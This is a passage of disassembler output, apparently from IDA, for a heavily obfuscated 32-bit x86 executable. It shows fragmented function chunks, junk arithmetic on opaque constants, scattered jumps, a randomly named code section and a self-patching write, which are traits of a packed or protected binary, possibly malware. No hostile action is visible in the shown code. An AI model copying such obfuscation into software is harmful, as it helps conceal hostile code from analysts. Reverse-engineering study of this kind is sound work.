; START	OF FUNCTION CHUNK FOR sub_454117

loc_453E51:				; CODE XREF: sub_454117:loc_43A462j
		jbe	loc_441950
		jmp	loc_441288
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_453E5C:				; CODE XREF: sub_43938B+39D6j
		rol	esi, 1Ch
		sub	esi, 0E961255Ch
		xor	esi, 1E406B87h
		xchg	esi, [esp+0Ch+var_C]
		push	edi
		pushf
		push	0F660E16Bh
		jmp	loc_440D46
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_453E7A:				; CODE XREF: sub_43D28E+39C4j
		jnz	loc_441541
		jmp	loc_43D081
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_453E85:				; CODE XREF: sub_44CA06-DFD5j
		pop	edx
		rol	edx, 1
		xor	edx, 59558134h
		and	edx, 8F5AE088h
		add	edx, 0FDE97074h
		mov	[edx], eax
		pop	edx
		jmp	loc_44622F
; END OF FUNCTION CHUNK	FOR sub_44CA06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_453EA2:				; CODE XREF: sub_4538B3-10533j
		cmp	esi, ecx
		jmp	loc_43DEF9
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_453EA9:				; CODE XREF: sub_448FC7-1190j
		mov	ecx, ebp
		jmp	loc_453EEE
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_453EB0:				; CODE XREF: sub_44B99E+4995j
		mov	al, [eax]
		call	sub_44B2EA

loc_453EB7:				; CODE XREF: sub_4492F0+93E7j
		jmp	loc_44DD1C
; END OF FUNCTION CHUNK	FOR sub_44B99E

; =============== S U B	R O U T	I N E =======================================



sub_453EBC	proc near		; CODE XREF: dviuq5id:00446CEBj
					; sub_43ED10+15EAAp

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	edx, [esp-4+arg_0]
		mov	ebp, edx
		pop	edx
		retn
sub_453EBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_453EC7:				; CODE XREF: dviuq5id:004503F2j
		jmp	loc_4480B4

; =============== S U B	R O U T	I N E =======================================



sub_453ECC	proc near		; CODE XREF: sub_446B53:loc_43D989j
					; sub_448424-476Fp ...

; FUNCTION CHUNK AT 0045237F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00458B0E SIZE 00000005 BYTES

		push	ebp
		jmp	loc_458B0E
sub_453ECC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448A6A

loc_453ED2:				; CODE XREF: sub_448A6A+13j
		xor	eax, 67D4C21Ch
		jnz	loc_455A70
; END OF FUNCTION CHUNK	FOR sub_448A6A
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_453EDE:				; CODE XREF: sub_43E6A7+9BBAj
		jmp	loc_44D79C
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
		cmp	ebx, 1538865Fh
		jmp	loc_456AE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_453EEE:				; CODE XREF: sub_448FC7+AEE4j
		popf
		cmp	ebx, 3D6245B4h
		jmp	loc_44E8CC
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FC72

loc_453EFA:				; CODE XREF: sub_44FC72+5j
		jmp	ds:off_41D040
; END OF FUNCTION CHUNK	FOR sub_44FC72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_453F00:				; CODE XREF: sub_44623D+12CBAj
		jmp	loc_44EB33
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_453F05:				; CODE XREF: sub_441DDA+1217Aj
		jmp	loc_44DBE0
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_453F0A	proc near		; CODE XREF: sub_441903:loc_43C31Dj
					; sub_44FC72p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C283 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443375 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C00 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00451EB4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00453497 SIZE 00000005 BYTES

		pop	edx
		jns	loc_451EBC
		mov	eax, [esp+0]
		jmp	loc_453497
sub_453F0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	eax, 5
		sub	eax, 4E245E4Eh
		push	ebx
		push	0A9BF798Bh
		pop	ebx
		xor	ebx, 0FC5FE9BBh
		jmp	loc_44C3A9
; ---------------------------------------------------------------------------

loc_453F34:				; CODE XREF: dviuq5id:loc_4562EEj
					; dviuq5id:loc_4562FCj
		sub	edx, 724EF765h
		add	edx, 0CBDF1BF6h
		push	eax
		pushf
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_453F42:				; CODE XREF: sub_441DDA:loc_43F78Bj
		push	2E840B8Dh
		pop	eax
		xor	eax, 0D1DC9A77h
		and	eax, 0CEE92261h
		jmp	loc_453F05
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_453F59:				; CODE XREF: sub_44CCEE:loc_4439CCj
		add	eax, ebp
		add	eax, 20697C4h
		mov	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; START	OF FUNCTION CHUNK FOR sub_459804

loc_453F63:				; CODE XREF: sub_459804:loc_44F04Bj
		push	eax
		push	ecx
		jmp	loc_450EDD
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------

loc_453F6A:				; CODE XREF: dviuq5id:00442F5Bj
		and	ebx, 8E1349B2h
		sub	ecx, 7048ACB2h
		not	ebx
		and	ecx, eax
		pop	ecx
		xchg	ebx, [esp]
		push	ebx
		jmp	loc_43A289
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_404. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_453F85:				; CODE XREF: dviuq5id:0044FE1Ej
		jmp	loc_448F1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_453F8A:				; CODE XREF: sub_458F2A:loc_4545CBj
		jnz	loc_44F771
		jmp	loc_43F05A
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_453F95:				; CODE XREF: sub_445110:loc_4569BDj
		sub	edx, 2177D9E8h
		or	edx, 30680E1Ah
		call	sub_44CA06
; END OF FUNCTION CHUNK	FOR sub_445110
; START	OF FUNCTION CHUNK FOR sub_43C5AE

loc_453FA6:				; CODE XREF: sub_43C5AE:loc_43C5B4j
		push	0F1E00F38h
		pop	esi
		sub	esi, 7DD8CEC6h
		add	esi, 8C3CFF7Eh
		xchg	esi, [esp+4+var_4]
		jmp	loc_445C63
; END OF FUNCTION CHUNK	FOR sub_43C5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_453FC0:				; CODE XREF: sub_454267:loc_4560E8j
		pop	edx
		or	edi, 0E54F3281h
		xor	edi, 4C9994Ah
		rol	edi, 5
		xor	edi, 7E60A9D3h
		add	edi, ebp
		add	edi, 0A542812Eh
		jmp	loc_448E14
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458AF1

loc_453FE3:				; CODE XREF: sub_458AF1-F9EBj
		and	eax, ecx
		or	edi, 63AD68B2h
		or	edi, ebp
		push	eax
		jmp	loc_43F7DA
; END OF FUNCTION CHUNK	FOR sub_458AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_453FF3:				; CODE XREF: sub_4463B7:loc_45010Dj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43B46E
		jmp	loc_43BDD4
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_454002:				; CODE XREF: sub_459983:loc_43AFDEj
		jz	loc_43A615
; END OF FUNCTION CHUNK	FOR sub_459983
; START	OF FUNCTION CHUNK FOR sub_43F6CD

loc_454008:				; CODE XREF: sub_43F6CD+10j
		jmp	loc_44D480
; END OF FUNCTION CHUNK	FOR sub_43F6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_45400D:				; CODE XREF: sub_45288A-14E25j
		jmp	nullsub_423
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
		or	esi, 8EAC88C3h
		jmp	loc_43A60A
; ---------------------------------------------------------------------------
		push	eax
		jmp	sub_43DCB4
; ---------------------------------------------------------------------------
		rol	ecx, 9

loc_454026:				; CODE XREF: dviuq5id:loc_43F3EBj
		mov	ebp, [ebx]
		jmp	sub_4559A0
; ---------------------------------------------------------------------------
		and	edx, eax
		jmp	loc_4425AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_454034:				; CODE XREF: sub_448424-C924j
		rol	eax, 1Fh
		xchg	edi, [esi]
		jmp	loc_449BBE
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
		rol	edx, 1
		jmp	sub_43D8AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_454045:				; CODE XREF: sub_458B23:loc_4407EEj
		jnz	loc_455E2D
; END OF FUNCTION CHUNK	FOR sub_458B23
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_45404B:				; CODE XREF: sub_446DD8+9DF0j
		jmp	nullsub_284
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------

loc_454050:				; CODE XREF: dviuq5id:0044BCFBj
		jmp	sub_450686
; ---------------------------------------------------------------------------
		and	ebx, ebp
		and	eax, esi
		adc	edi, 0D5BF6710h
		jmp	loc_44C497
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_454064:				; CODE XREF: sub_44084F+1430j
		pop	ebp
		jmp	loc_4413A8
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, ebp
		xchg	edx, [esp]
		mov	ebp, esp
		jmp	loc_455D74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_454077:				; CODE XREF: sub_439013:loc_43B03Fj
		jnz	loc_4540CE
		cmp	ecx, 0EA2FE39Fh
		jmp	loc_43D0B4
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_454088	proc near		; CODE XREF: sub_43D24F+5F82p
					; dviuq5id:00457BB0j

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	eax, [esp-4+arg_0]
		jmp	sub_449EB7
sub_454088	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_454094	proc near		; CODE XREF: dviuq5id:0043B128j
					; sub_4463B7p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439AEF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00439C44 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00439E2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B81C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043BB8C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BEFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C12B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C253 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043C4DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C7D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C803 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CEC6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043DBE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DDF7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E360 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E7B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EFC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F11B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F138 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FC64 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043FE20 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004402DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B55 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441622 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004420B5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004420C8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004424FB SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00442578 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442BC0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00442BD2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443D42 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044520F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044527A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445346 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004458F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445A00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447D74 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448AFA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004497AF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B340 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BC41 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BFBB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CBB9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DB1E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044DE34 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044F7F6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00451074 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0045177B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00451919 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045194D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00451D19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045303B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004538F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004539FE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00453D15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454AB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454B42 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454CF2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00454D7B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00455448 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045646F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045662C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456A9D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00456D2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004571AF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457294 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457A21 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458DE0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004597C9 SIZE 00000005 BYTES

		xchg	ecx, [esp+10h+var_10]
		pop	ecx
		jb	loc_43FE20
		call	sub_43938B
		test	al, al
		jz	loc_456A9D
		jmp	loc_451919
sub_454094	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C2A38A0Fh, 0CBE9FFFEh
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_4540BB:				; CODE XREF: sub_449B5B:loc_448F28j
		jz	loc_444BDC
		jmp	loc_456A5B
; END OF FUNCTION CHUNK	FOR sub_449B5B

; =============== S U B	R O U T	I N E =======================================



sub_4540C6	proc near		; DATA XREF: sub_441DDA+CE76o

; FUNCTION CHUNK AT 0044E991 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		jmp	loc_44E991
sub_4540C6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_4540CE:				; CODE XREF: sub_439013+40ADj
					; sub_439013:loc_454077j
		or	eax, 38938176h
		test	eax, 100000h
		jmp	loc_44B06F
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F013

loc_4540DF:				; CODE XREF: sub_43F013+Ej
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+0]
		push	0FD7044E5h
		jmp	loc_4589ED
; END OF FUNCTION CHUNK	FOR sub_43F013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_4540EF:				; CODE XREF: sub_43CB05+1993Dj
		jz	loc_442E0E
		jmp	loc_447C19
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_4540FA:				; CODE XREF: sub_449EB7:loc_4599CEj
		xor	eax, eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jz	loc_44E3AE
		mov	eax, [ebp+var_4]
		jmp	loc_451E8F
; END OF FUNCTION CHUNK	FOR sub_449EB7
; ---------------------------------------------------------------------------

loc_454111:				; CODE XREF: dviuq5id:0044F39Fj
		jnb	loc_443F10

; =============== S U B	R O U T	I N E =======================================



sub_454117	proc near		; CODE XREF: sub_448DB7:loc_458651p

; FUNCTION CHUNK AT 0043A462 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C856 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043C9A0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043D17C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F677 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00441288 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441947 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044A755 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B466 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C8D9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044EEBF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004510C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004513E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004530B3 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0045315A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453E51 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454203 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045507B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00456B92 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00457AD6 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax

loc_45411B:				; CODE XREF: dviuq5id:loc_44E0F9j
		mov	eax, [eax+4]
		test	eax, eax
		jle	loc_43C9A0
		jmp	loc_457AD6
sub_454117	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451DAA

loc_45412B:				; CODE XREF: sub_451DAA:loc_4494EDj
		xchg	esi, [esp+0]
		call	sub_4512BC
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_44600D
		jmp	loc_439E71
; END OF FUNCTION CHUNK	FOR sub_451DAA

; =============== S U B	R O U T	I N E =======================================



sub_454142	proc near		; DATA XREF: sub_43FA59-30E0o

; FUNCTION CHUNK AT 0043EBF7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044067F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00448B97 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044B079 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451262 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045339D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00454B28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004569C2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045A360 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		or	eax, 0A5B2D5D0h
		test	eax, 10000000h
		jmp	loc_45339D
sub_454142	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_454159:				; CODE XREF: sub_44EAC4+1DD8j
		pop	edx
		xor	edx, 0FF1B6469h
		test	edx, 2
		jmp	loc_442B94
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F505

loc_45416B:				; CODE XREF: sub_44F505-109BBj
		mov	[edi], eax
		pop	edi
		lea	eax, sub_4462EC
		mov	byte ptr [eax],	0C3h
		jmp	loc_4557E5
; END OF FUNCTION CHUNK	FOR sub_44F505
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4462EC

loc_45417C:				; CODE XREF: sub_4462ECj
		xchg	edi, [esp-4+arg_0]
		jmp	loc_43D317
; END OF FUNCTION CHUNK	FOR sub_4462EC
; ---------------------------------------------------------------------------
		xchg	ecx, ebx
		jmp	sub_456DB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45418C:				; CODE XREF: dviuq5id:00456FCAj
		jmp	nullsub_480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_454191:				; CODE XREF: sub_446B53:loc_448A18j
		mov	ebp, ecx
		pop	ecx
		mov	eax, ds:dword_43EE08
		or	eax, eax
		jnz	loc_444E48
		jmp	loc_4491C1
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECF4

loc_4541A7:				; CODE XREF: sub_43ECF4+2338j
		add	eax, edx
		sub	eax, 0B545AEA8h

loc_4541AF:				; CODE XREF: sub_43ECF4:loc_444346j
		push	3267452Ch
		pop	eax
		sub	eax, 473E9F58h
		and	eax, 9CF919Bh
		add	eax, 0AACEBB16h
		add	eax, ebp
		jmp	loc_452E55
; END OF FUNCTION CHUNK	FOR sub_43ECF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_4541CE:				; CODE XREF: sub_450686-1484j
		jz	loc_44C0FF
		xchg	edi, [esi]
		jmp	loc_44C0FA
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_4541DB:				; CODE XREF: sub_4393C3:loc_45458Bj
		jnz	loc_439A2D
		test	edi, 482577EDh
		jmp	loc_455C9D
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_4541EC:				; CODE XREF: sub_456253:loc_452C72j
		jz	loc_45531E
		jmp	loc_43DCE9
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------

loc_4541F7:				; CODE XREF: dviuq5id:00442A17j
					; dviuq5id:00442A20j
		xor	eax, 260BF6D8h
		test	eax, 4000h
; START	OF FUNCTION CHUNK FOR sub_454117

loc_454203:				; CODE XREF: sub_454117:loc_44B466j
		jmp	loc_4510C9
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_454208:				; CODE XREF: sub_44AB80+9083j
		cdq
		jmp	loc_43928A
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------

loc_45420E:				; DATA XREF: sub_4400A1:loc_450DDCo
		xor	ebx, 0C7592291h
		push	offset sub_44C085
		jmp	loc_4432DF
; ---------------------------------------------------------------------------

loc_45421E:				; CODE XREF: dviuq5id:0043F6A0j
		mov	ds:dword_453D0C, eax
		jmp	loc_4399A5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_454228	proc near		; CODE XREF: sub_44D2A8j
					; dviuq5id:00450652j

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 0043AC9B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043C775 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D335 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00440E64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004421E5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444CCD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00444E97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004456C0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044651A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446C73 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00448FAD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A9BB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C321 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D778 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D9FC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00450DBB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452EB8 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00459E71 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00459FF3 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_43C775
sub_454228	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_454233:				; CODE XREF: dviuq5id:loc_44E9A0j
		mov	eax, edx
		pop	edx
		add	eax, 725BE70Fh
		and	eax, 15359F2Ah
		add	eax, 0FB3E6A62h
		mov	eax, [eax]
		jmp	loc_447B5B
; ---------------------------------------------------------------------------

locret_45424F:				; CODE XREF: dviuq5id:loc_4415F3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457CB8

loc_454250:				; CODE XREF: sub_457CB8+Dj
		jmp	loc_43EB4F
; END OF FUNCTION CHUNK	FOR sub_457CB8
; ---------------------------------------------------------------------------

loc_454255:				; CODE XREF: dviuq5id:0044AA7Dj
		jmp	loc_452057
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_45425A:				; CODE XREF: sub_459804:loc_457D25j
		xchg	ecx, [ebx]
		jg	loc_445062
		jmp	loc_44F04B
; END OF FUNCTION CHUNK	FOR sub_459804

; =============== S U B	R O U T	I N E =======================================



sub_454267	proc near		; CODE XREF: dviuq5id:0043E841j
					; sub_4427AE:loc_4427B1p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439149 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A14F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A79C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AA79 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AD8C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AFEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D71E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043E0F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E77A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FDA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440D9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004410AB SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00442A2B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444678 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444B99 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444F74 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004454D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044564C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004456EC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00445D8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004461F9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448958 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AECC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B17B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B2AE SIZE 00000016 BYTES
